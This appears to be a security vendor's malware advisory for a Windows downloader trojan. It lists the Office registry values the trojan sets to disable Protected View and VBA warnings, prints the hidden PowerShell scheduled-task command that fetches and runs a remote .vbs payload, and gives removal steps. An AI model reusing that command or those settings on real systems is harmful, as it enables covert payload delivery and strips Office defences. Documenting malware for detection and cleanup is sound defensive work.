TROJ_QUSARRATDL.A
Trojan.Mdropper (NORTON); DOC/TrojanDownloader.Agent.FI trojan (NOD32); X97M.Downloader.BI (QUICKHEAL)
Windows
![](/vinfo/imgFiles/legend.jpg)
Threat Type: Trojan
Destructiveness: No
Encrypted: No
In the wild: Yes
OVERVIEW
This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.
It executes the downloaded files. As a result, malicious routines of the downloaded files are exhibited on the affected system. As of this writing, the said sites are inaccessible.
TECHNICAL DETAILS
Arrival Details
This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.
Other System Modifications
This Trojan modifies the following registry entries:
HKEY_CURRENT_USER\Software\Microsoft\
Office\14.0\Word\
Security\ProtectedView
DisableInternetFilesInPV = "1"
(Note: The default value data of the said registry entry is "0".)
HKEY_CURRENT_USER\Software\Microsoft\
Office\14.0\Word\
Security\ProtectedView
DisableAttachmentsInPV = "1"
(Note: The default value data of the said registry entry is "0".)
HKEY_CURRENT_USER\Software\Microsoft\
Office\14.0\Word\
Security\ProtectedView
DisableUnsafeLocationsInPV = "1"
(Note: The default value data of the said registry entry is "0".)
HKEY_CURRENT_USER\Software\Microsoft\
Office\14.0\PowerPoint\
Security\ProtectedView
DisableInternetFilesInPV = "1"
(Note: The default value data of the said registry entry is "0".)
HKEY_CURRENT_USER\Software\Microsoft\
Office\14.0\PowerPoint\
Security\ProtectedView
DisableAttachmentsInPV = "1"
(Note: The default value data of the said registry entry is "0".)
HKEY_CURRENT_USER\Software\Microsoft\
Office\14.0\PowerPoint\
Security\ProtectedView
DisableUnsafeLocationsInPV = "1"
(Note: The default value data of the said registry entry is "0".)
HKEY_CURRENT_USER\Software\Microsoft\
Office\14.0\Excel\
Security\ProtectedView
DisableInternetFilesInPV = "1"
(Note: The default value data of the said registry entry is "0".)
HKEY_CURRENT_USER\Software\Microsoft\
Office\14.0\Excel\
Security\ProtectedView
DisableAttachmentsInPV = "1"
(Note: The default value data of the said registry entry is "0".)
HKEY_CURRENT_USER\Software\Microsoft\
Office\14.0\Excel\
Security\ProtectedView
DisableUnsafeLocationsInPV = "1"
(Note: The default value data of the said registry entry is "0".)
HKEY_CURRENT_USER\Software\Microsoft\
Office\15.0\Word\
Security\ProtectedView
DisableInternetFilesInPV = "1"
(Note: The default value data of the said registry entry is "0".)
HKEY_CURRENT_USER\Software\Microsoft\
Office\15.0\Word\
Security\ProtectedView
DisableAttachmentsInPV = "1"
(Note: The default value data of the said registry entry is "0".)
HKEY_CURRENT_USER\Software\Microsoft\
Office\15.0\Word\
Security\ProtectedView
DisableUnsafeLocationsInPV = "1"
(Note: The default value data of the said registry entry is "0".)
HKEY_CURRENT_USER\Software\Microsoft\
Office\15.0\PowerPoint\
Security\ProtectedView
DisableInternetFiles = "1"
(Note: The default value data of the said registry entry is "0".)
HKEY_CURRENT_USER\Software\Microsoft\
Office\15.0\PowerPoint\
Security\ProtectedView
DisableAttachmentsInPV = "1"
(Note: The default value data of the said registry entry is "0".)
HKEY_CURRENT_USER\Software\Microsoft\
Office\15.0\PowerPoint\
Security\ProtectedView
DisableUnsafeLocations = "1"
(Note: The default value data of the said registry entry is "0".)
HKEY_CURRENT_USER\Software\Microsoft\
Office\15.0\Excel\
Security\ProtectedView
DisableInternetFilesInPV = "1"
(Note: The default value data of the said registry entry is "0".)
HKEY_CURRENT_USER\Software\Microsoft\
Office\15.0\Excel\
Security\ProtectedView
DisableAttachmentsInPV = "1"
(Note: The default value data of the said registry entry is "0".)
HKEY_CURRENT_USER\Software\Microsoft\
Office\15.0\Excel\
Security\ProtectedView
DisableUnsafeLocationsInPV = "1"
(Note: The default value data of the said registry entry is "0".)
HKEY_CURRENT_USER\Software\Microsoft\
Office\16.0\Word\
Security\ProtectedView
DisableInternetFiles = "1"
(Note: The default value data of the said registry entry is "0".)
HKEY_CURRENT_USER\Software\Microsoft\
Office\16.0\Word\
Security\ProtectedView
DisableAttachmentsInPV = "1"
(Note: The default value data of the said registry entry is "0".)
HKEY_CURRENT_USER\Software\Microsoft\
Office\16.0\Word\
Security\ProtectedView
DisableUnsafeLocationsInPV = "1"
(Note: The default value data of the said registry entry is "0".)
HKEY_CURRENT_USER\Software\Microsoft\
Office\16.0\PowerPoint\
Security\ProtectedView
DisableInternetFilesInPV = "1"
(Note: The default value data of the said registry entry is "0".)
HKEY_CURRENT_USER\Software\Microsoft\
Office\16.0\PowerPoint\
Security\ProtectedView
DisableAttachmentsInPV = "1"
(Note: The default value data of the said registry entry is "0".)
HKEY_CURRENT_USER\Software\Microsoft\
Office\16.0\PowerPoint\
Security\ProtectedView
DisableUnsafeLocationsInPV = "1"
(Note: The default value data of the said registry entry is "0".)
HKEY_CURRENT_USER\Software\Microsoft\
Office\16.0\Excel\
Security\ProtectedView
DisableInternetFilesInPV = "1"
(Note: The default value data of the said registry entry is "0".)
HKEY_CURRENT_USER\Software\Microsoft\
Office\16.0\Excel\
Security\ProtectedView
DisableAttachmentsInPV = "1"
(Note: The default value data of the said registry entry is "0".)
HKEY_CURRENT_USER\Software\Microsoft\
Office\16.0\Excel\
Security\ProtectedView
DisableUnsafeLocationsInPV = "1"
(Note: The default value data of the said registry entry is "0".)
HKEY_CURRENT_USER\Software\Microsoft\
Office\11.0\Word\
Security
VBAWarnings = "1"
(Note: The default value data of the said registry entry is "0".)
HKEY_CURRENT_USER\Software\Microsoft\
Office\11.0\PowerPoint\
Security
VBAWarnings = "1"
(Note: The default value data of the said registry entry is "0".)
HKEY_CURRENT_USER\Software\Microsoft\
Office\12.0\PowerPoint\
Security
VBAWarnings = "1"
(Note: The default value data of the said registry entry is "0".)
HKEY_CURRENT_USER\Software\Microsoft\
Office\14.0\PowerPoint\
Security
VBAWarnings = "1"
(Note: The default value data of the said registry entry is "0".)
HKEY_CURRENT_USER\Software\Microsoft\
Office\15.0\PowerPoint\
Security
VBAWarnings = "1"
(Note: The default value data of the said registry entry is "0".)
HKEY_CURRENT_USER\Software\Microsoft\
Office\16.0\PowerPoint\
Security
VBAWarnings = "1"
(Note: The default value data of the said registry entry is "0".)
HKEY_CURRENT_USER\Software\Microsoft\
Office\11.0\Excel\
Security
VBAWarnings = "1"
(Note: The default value data of the said registry entry is "0".)
HKEY_CURRENT_USER\Software\Microsoft\
Office\12.0\Excel\
Security
VBAWarnings = "1"
(Note: The default value data of the said registry entry is "0".)
HKEY_CURRENT_USER\Software\Microsoft\
Office\14.0\Excel\
Security
VBAWarnings = "1"
(Note: The default value data of the said registry entry is "0".)
HKEY_CURRENT_USER\Software\Microsoft\
Office\15.0\Excel\
Security
VBAWarnings = "1"
(Note: The default value data of the said registry entry is "0".)
HKEY_CURRENT_USER\Software\Microsoft\
Office\16.0\Excel\
Security
VBAWarnings = "1"
(Note: The default value data of the said registry entry is "0".)
HKEY_CURRENT_USER\Software\Microsoft\
Office\11.0\Word\
Security\ProtectedView
DisableInternetFilesInPV = "1"
(Note: The default value data of the said registry entry is "0".)
HKEY_CURRENT_USER\Software\Microsoft\
Office\11.0\Word\
Security\ProtectedView
DisableAttachmentsInPV = "1"
(Note: The default value data of the said registry entry is "0".)
HKEY_CURRENT_USER\Software\Microsoft\
Office\11.0\Word\
Security\ProtectedView
DisableUnsafeLocationsInPV = "1"
(Note: The default value data of the said registry entry is "0".)
HKEY_CURRENT_USER\Software\Microsoft\
Office\11.0\PowerPoint\
Security\ProtectedView
DisableInternetFilesInPV = "1"
(Note: The default value data of the said registry entry is "0".)
HKEY_CURRENT_USER\Software\Microsoft\
Office\11.0\PowerPoint\
Security\ProtectedView
DisableAttachmentsInPV = "1"
(Note: The default value data of the said registry entry is "0".)
HKEY_CURRENT_USER\Software\Microsoft\
Office\11.0\PowerPoint\
Security\ProtectedView
DisableUnsafeLocationsInPV = "1"
(Note: The default value data of the said registry entry is "0".)
HKEY_CURRENT_USER\Software\Microsoft\
Office\11.0\Excel\
Security\ProtectedView
DisableInternetFiles = "1"
(Note: The default value data of the said registry entry is "0".)
HKEY_CURRENT_USER\Software\Microsoft\
Office\11.0\Excel\
Security\ProtectedView
DisableAttachmentsInPV = "1"
(Note: The default value data of the said registry entry is "0".)
HKEY_CURRENT_USER\Software\Microsoft\
Office\11.0\Excel\
Security\ProtectedView
DisableUnsafeLocationsInPV = "1"
(Note: The default value data of the said registry entry is "0".)
HKEY_CURRENT_USER\Software\Microsoft\
Office\12.0\Word\
Security
VBAWarnings = "1"
(Note: The default value data of the said registry entry is "0".)
HKEY_CURRENT_USER\Software\Microsoft\
Office\14.0\Word\
Security
VBAWarnings = "1"
(Note: The default value data of the said registry entry is "0".)
HKEY_CURRENT_USER\Software\Microsoft\
Office\15.0\Word\
Security
VBAWarnings = "1"
(Note: The default value data of the said registry entry is "0".)
HKEY_CURRENT_USER\Software\Microsoft\
Office\16.0\Word\
Security
VBAWarnings = "1"
(Note: The default value data of the said registry entry is "0".)
HKEY_CURRENT_USER\Software\Microsoft\
Office\12.0\Word\
Security\ProtectedView
DisableInternetFilesInPV = "1"
(Note: The default value data of the said registry entry is "0".)
HKEY_CURRENT_USER\Software\Microsoft\
Office\12.0\Word\
Security\ProtectedView
DisableAttachmentsInPV = "1"
(Note: The default value data of the said registry entry is "0".)
HKEY_CURRENT_USER\Software\Microsoft\
Office\12.0\Word\
Security\ProtectedView
DisableUnsafeLocationsInPV = "1"
(Note: The default value data of the said registry entry is "0".)
HKEY_CURRENT_USER\Software\Microsoft\
Office\12.0\PowerPoint\
Security\ProtectedView
DisableInternetFilesInPV = "1"
(Note: The default value data of the said registry entry is "0".)
HKEY_CURRENT_USER\Software\Microsoft\
Office\12.0\PowerPoint\
Security\ProtectedView
DisableAttachmentsInPV = "1"
(Note: The default value data of the said registry entry is "0".)
HKEY_CURRENT_USER\Software\Microsoft\
Office\12.0\PowerPoint\
Security\ProtectedView
DisableUnsafeLocationsInPV = "1"
(Note: The default value data of the said registry entry is "0".)
HKEY_CURRENT_USER\Software\Microsoft\
Office\12.0\Excel\
Security\ProtectedView
DisableInternetFilesInPV = "1"
(Note: The default value data of the said registry entry is "0".)
HKEY_CURRENT_USER\Software\Microsoft\
Office\12.0\Excel\
Security\ProtectedView
DisableUnsafeLocationsInPV = "1"
(Note: The default value data of the said registry entry is "0".)
HKCU\Software\Microsoft\
Office\12.0\Excel\
Security\ProtectedView
DisableAttachmentsInPV = "1"
(Note: The default value data of the said registry entry is "0".)
Download Routine
This Trojan connects to the following website(s) to download and execute a malicious file:
- http://{BLOCKED}argo.com/images/file/vb/22.vbs
It saves the files it downloads using the following names:
- %System Root%\Users\Public\svchost32.vbs
(Note: %System Root% is the Windows root folder, where it usually is C:\ on all Windows operating system versions.)
It then executes the downloaded files. As a result, malicious routines of the downloaded files are exhibited on the affected system.
As of this writing, the said sites are inaccessible.
Other Details
This Trojan does the following:
- Adds the following scheduled task:
- WindowsUpdate
- Executes every 1 minute
- Executes the following command:
- Powershell -windowstyle hidden (New-Object System.Net.WebClient).DownloadFile(\\\\\\http://{BLOCKED}argo.com/images/file/vb/22.vbs\\\\\\,\\\\\\$env:public\\svchost32.vbs\\\\\\); (New-Object -com Shell.Application).ShellExecute(\\\\\\$env:public\\svchost32.vbs\\\\\\);
- WindowsUpdate
SOLUTION
Step 1
Before doing any scans, Windows XP, Windows Vista, and Windows 7 users must disable System Restore to allow full scanning of their computers.
Step 2
Note that not all files, folders, and registry keys and entries are installed on your computer during this malware's/spyware's/grayware's execution. This may be due to incomplete installation or other operating system conditions. If you do not find the same files/folders/registry information, please proceed to the next step.
Step 3
Restart in Safe Mode
Step 4
Identify and terminate files detected as TROJ_QUSARRATDL.A
- Windows Task Manager may not display all running processes. In this case, please use a third-party process viewer, preferably Process Explorer, to terminate the malware/grayware/spyware file. You may download the said tool here.
- If the detected file is displayed in either Windows Task Manager or Process Explorer but you cannot delete it, restart your computer in safe mode. To do this, refer to this link for the complete steps.
- If the detected file is not displayed in either Windows Task Manager or Process Explorer, continue doing the next steps.
Step 5
Restore this modified registry value
Important: Editing the Windows Registry incorrectly can lead to irreversible system malfunction. Please do this step only if you know how or you can ask assistance from your system administrator. Else, check this Microsoft article first before modifying your computer's registry.
- In HKEY_CURRENT_USER\Software\Microsoft\Office\11.0\Word\Security
- From: VBAWarnings = "1"
To: VBAWarnings = "0"
- From: VBAWarnings = "1"
- In HKEY_CURRENT_USER\Software\Microsoft\Office\12.0\Word\Security
- From: VBAWarnings = "1"
To: VBAWarnings = "0"
- From: VBAWarnings = "1"
- In HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Security
- From: VBAWarnings = "1"
To: VBAWarnings = "0"
- From: VBAWarnings = "1"
- In HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Word\Security
- From: VBAWarnings = "1"
To: VBAWarnings = "0"
- From: VBAWarnings = "1"
- In HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Word\Security
- From: VBAWarnings = "1"
To: VBAWarnings = "0"
- From: VBAWarnings = "1"
- In HKEY_CURRENT_USER\Software\Microsoft\Office\11.0\PowerPoint\Security
- From: VBAWarnings = "1"
To: VBAWarnings = "0"
- From: VBAWarnings = "1"
- In HKEY_CURRENT_USER\Software\Microsoft\Office\12.0\PowerPoint\Security
- From: VBAWarnings = "1"
To: VBAWarnings = "0"
- From: VBAWarnings = "1"
- In HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\PowerPoint\Security
- From: VBAWarnings = "1"
To: VBAWarnings = "0"
- From: VBAWarnings = "1"
- In HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\PowerPoint\Security
- From: VBAWarnings = "1"
To: VBAWarnings = "0"
- From: VBAWarnings = "1"
- In HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\PowerPoint\Security
- From: VBAWarnings = "1"
To: VBAWarnings = "0"
- From: VBAWarnings = "1"
- In HKEY_CURRENT_USER\Software\Microsoft\Office\11.0\Excel\Security
- From: VBAWarnings = "1"
To: VBAWarnings = "0"
- From: VBAWarnings = "1"
- In HKEY_CURRENT_USER\Software\Microsoft\Office\12.0\Excel\Security
- From: VBAWarnings = "1"
To: VBAWarnings = "0"
- From: VBAWarnings = "1"
- In HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Security
- From: VBAWarnings = "1"
To: VBAWarnings = "0"
- From: VBAWarnings = "1"
- In HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Excel\Security
- From: VBAWarnings = "1"
To: VBAWarnings = "0"
- From: VBAWarnings = "1"
- In HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Excel\Security
- From: VBAWarnings = "1"
To: VBAWarnings = "0"
- From: VBAWarnings = "1"
- In HKEY_CURRENT_USER\Software\Microsoft\Office\11.0\Word\Security\ProtectedView
- From: DisableInternetFilesInPV = "1"
To: DisableInternetFilesInPV = "0"
- From: DisableInternetFilesInPV = "1"
- In HKEY_CURRENT_USER\Software\Microsoft\Office\11.0\Word\Security\ProtectedView
- From: DisableAttachmentsInPV = "1"
To: DisableAttachmentsInPV = "0"
- From: DisableAttachmentsInPV = "1"
- In HKEY_CURRENT_USER\Software\Microsoft\Office\11.0\Word\Security\ProtectedView
- From: DisableUnsafeLocationsInPV = "1"
To: DisableUnsafeLocationsInPV = "0"
- From: DisableUnsafeLocationsInPV = "1"
- In HKEY_CURRENT_USER\Software\Microsoft\Office\11.0\PowerPoint\Security\ProtectedView
- From: DisableInternetFilesInPV = "1"
To: DisableInternetFilesInPV = "0"
- From: DisableInternetFilesInPV = "1"
- In HKEY_CURRENT_USER\Software\Microsoft\Office\11.0\PowerPoint\Security\ProtectedView
- From: DisableAttachmentsInPV = "1"
To: DisableAttachmentsInPV = "0"
- From: DisableAttachmentsInPV = "1"
- In HKEY_CURRENT_USER\Software\Microsoft\Office\11.0\PowerPoint\Security\ProtectedView
- From: DisableUnsafeLocationsInPV = "1"
To: DisableUnsafeLocationsInPV = "0"
- From: DisableUnsafeLocationsInPV = "1"
- In HKEY_CURRENT_USER\Software\Microsoft\Office\11.0\Excel\Security\ProtectedView
- From: DisableInternetFilesInPV = "1"
To: DisableInternetFilesInPV = "0"
- From: DisableInternetFilesInPV = "1"
- In HKEY_CURRENT_USER\Software\Microsoft\Office\11.0\Excel\Security\ProtectedView
- From: DisableAttachmentsInPV = "1"
To: DisableAttachmentsInPV = "0"
- From: DisableAttachmentsInPV = "1"
- In HKEY_CURRENT_USER\Software\Microsoft\Office\11.0\Excel\Security\ProtectedView
- From: DisableUnsafeLocationsInPV = "1"
To: DisableUnsafeLocationsInPV = "0"
- From: DisableUnsafeLocationsInPV = "1"
- In HKEY_CURRENT_USER\Software\Microsoft\Office\12.0\Word\Security\ProtectedView
- From: DisableInternetFilesInPV = "1"
To: DisableInternetFilesInPV = "0"
- From: DisableInternetFilesInPV = "1"
- In HKEY_CURRENT_USER\Software\Microsoft\Office\12.0\Word\Security\ProtectedView
- From: DisableAttachmentsInPV = "1"
To: DisableAttachmentsInPV = "0"
- From: DisableAttachmentsInPV = "1"
- In HKEY_CURRENT_USER\Software\Microsoft\Office\12.0\Word\Security\ProtectedView
- From: DisableUnsafeLocationsInPV = "1"
To: DisableUnsafeLocationsInPV = "0"
- From: DisableUnsafeLocationsInPV = "1"
- In HKEY_CURRENT_USER\Software\Microsoft\Office\12.0\PowerPoint\Security\ProtectedView
- From: DisableInternetFilesInPV = "1"
To: DisableInternetFilesInPV = "0"
- From: DisableInternetFilesInPV = "1"
- In HKEY_CURRENT_USER\Software\Microsoft\Office\12.0\PowerPoint\Security\ProtectedView
- From: DisableAttachmentsInPV = "1"
To: DisableAttachmentsInPV = "0"
- From: DisableAttachmentsInPV = "1"
- In HKEY_CURRENT_USER\Software\Microsoft\Office\12.0\PowerPoint\Security\ProtectedView
- From: DisableUnsafeLocationsInPV = "1"
To: DisableUnsafeLocationsInPV = "0"
- From: DisableUnsafeLocationsInPV = "1"
- In HKEY_CURRENT_USER\Software\Microsoft\Office\12.0\Excel\Security\ProtectedView
- From: DisableInternetFilesInPV = "1"
To: DisableInternetFilesInPV = "0"
- From: DisableInternetFilesInPV = "1"
- In HKEY_CURRENT_USER\Software\Microsoft\Office\12.0\Excel\Security\ProtectedView
- From: DisableAttachmentsInPV = "1"
To: DisableAttachmentsInPV = "0"
- From: DisableAttachmentsInPV = "1"
- In HKEY_CURRENT_USER\Software\Microsoft\Office\12.0\Excel\Security\ProtectedView
- From: DisableUnsafeLocationsInPV = "1"
To: DisableUnsafeLocationsInPV = "0"
- From: DisableUnsafeLocationsInPV = "1"
- In HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Security\ProtectedView
- From: DisableInternetFilesInPV = "1"
To: DisableInternetFilesInPV = "0"
- From: DisableInternetFilesInPV = "1"
- In HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Security\ProtectedView
- From: DisableAttachmentsInPV = "1"
To: DisableAttachmentsInPV = "0"
- From: DisableAttachmentsInPV = "1"
- In HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Security\ProtectedView
- From: DisableUnsafeLocationsInPV = "1"
To: DisableUnsafeLocationsInPV = "0"
- From: DisableUnsafeLocationsInPV = "1"
- In HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\PowerPoint\Security\ProtectedView
- From: DisableInternetFilesInPV = "1"
To: DisableInternetFilesInPV = "0"
- From: DisableInternetFilesInPV = "1"
- In HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\PowerPoint\Security\ProtectedView
- From: DisableAttachmentsInPV = "1"
To: DisableAttachmentsInPV = "0"
- From: DisableAttachmentsInPV = "1"
- In HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\PowerPoint\Security\ProtectedView
- From: DisableUnsafeLocationsInPV = "1"
To: DisableUnsafeLocationsInPV = "0"
- From: DisableUnsafeLocationsInPV = "1"
- In HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Security\ProtectedView
- From: DisableInternetFilesInPV = "1"
To: DisableInternetFilesInPV = "0"
- From: DisableInternetFilesInPV = "1"
- In HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Security\ProtectedView
- From: DisableAttachmentsInPV = "1"
To: DisableAttachmentsInPV = "0"
- From: DisableAttachmentsInPV = "1"
- In HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Security\ProtectedView
- From: DisableUnsafeLocationsInPV = "1"
To: DisableUnsafeLocationsInPV = "0"
- From: DisableUnsafeLocationsInPV = "1"
- In HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Word\Security\ProtectedView
- From: DisableInternetFilesInPV = "1"
To: DisableInternetFilesInPV = "0"
- From: DisableInternetFilesInPV = "1"
- In HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Word\Security\ProtectedView
- From: DisableAttachmentsInPV = "1"
To: DisableAttachmentsInPV = "0"
- From: DisableAttachmentsInPV = "1"
- In HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Word\Security\ProtectedView
- From: DisableUnsafeLocationsInPV = "1"
To: DisableUnsafeLocationsInPV = "0"
- From: DisableUnsafeLocationsInPV = "1"
- In HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\PowerPoint\Security\ProtectedView
- From: DisableInternetFilesInPV = "1"
To: DisableInternetFilesInPV = "0"
- From: DisableInternetFilesInPV = "1"
- In HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\PowerPoint\Security\ProtectedView
- From: DisableAttachmentsInPV = "1"
To: DisableAttachmentsInPV = "0"
- From: DisableAttachmentsInPV = "1"
- In HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\PowerPoint\Security\ProtectedView
- From: DisableUnsafeLocationsInPV = "1"
To: DisableUnsafeLocationsInPV = "0"
- From: DisableUnsafeLocationsInPV = "1"
- In HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Excel\Security\ProtectedView
- From: DisableInternetFilesInPV = "1"
To: DisableInternetFilesInPV = "0"
- From: DisableInternetFilesInPV = "1"
- In HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Excel\Security\ProtectedView
- From: DisableAttachmentsInPV = "1"
To: DisableAttachmentsInPV = "0"
- From: DisableAttachmentsInPV = "1"
- In HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Excel\Security\ProtectedView
- From: DisableUnsafeLocationsInPV = "1"
To: DisableUnsafeLocationsInPV = "0"
- From: DisableUnsafeLocationsInPV = "1"
- In HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Word\Security\ProtectedView
- From: DisableInternetFilesInPV = "1"
To: DisableInternetFilesInPV = "0"
- From: DisableInternetFilesInPV = "1"
- In HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Word\Security\ProtectedView
- From: DisableAttachmentsInPV = "1"
To: DisableAttachmentsInPV = "0"
- From: DisableAttachmentsInPV = "1"
- In HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Word\Security\ProtectedView
- From: DisableUnsafeLocationsInPV = "1"
To: DisableUnsafeLocationsInPV = "0"
- From: DisableUnsafeLocationsInPV = "1"
- In HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\PowerPoint\Security\ProtectedView
- From: DisableInternetFilesInPV = "1"
To: DisableInternetFilesInPV = "0"
- From: DisableInternetFilesInPV = "1"
- In HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\PowerPoint\Security\ProtectedView
- From: DisableAttachmentsInPV = "1"
To: DisableAttachmentsInPV = "0"
- From: DisableAttachmentsInPV = "1"
- In HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\PowerPoint\Security\ProtectedView
- From: DisableUnsafeLocationsInPV = "1"
To: DisableUnsafeLocationsInPV = "0"
- From: DisableUnsafeLocationsInPV = "1"
- In HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Excel\Security\ProtectedView
- From: DisableInternetFilesInPV = "1"
To: DisableInternetFilesInPV = "0"
- From: DisableInternetFilesInPV = "1"
- In HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Excel\Security\ProtectedView
- From: DisableAttachmentsInPV = "1"
To: DisableAttachmentsInPV = "0"
- From: DisableAttachmentsInPV = "1"
- In HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Excel\Security\ProtectedView
- From: DisableUnsafeLocationsInPV = "1"
To: DisableUnsafeLocationsInPV = "0"
- From: DisableUnsafeLocationsInPV = "1"
Step 6
Search and delete these files
- %System Root%\Users\Public\svchost32.vbs
- %System%\Tasks\WindowsUpdate
Step 7
Restart in normal mode and scan your computer with your Trend Micro product for files detected as TROJ_QUSARRATDL.A. If the detected files have already been cleaned, deleted, or quarantined by your Trend Micro product, no further step is required. You may opt to simply delete the quarantined files. Please check this Knowledge Base page for more information.
Step 8
Scan your computer with your Trend Micro product to delete files detected as TROJ_QUSARRATDL.A. If the detected files have already been cleaned, deleted, or quarantined by your Trend Micro product, no further step is required. You may opt to simply delete the quarantined files. Please check the following Trend Micro Support pages for more information:
Did this description help? Tell us how we did.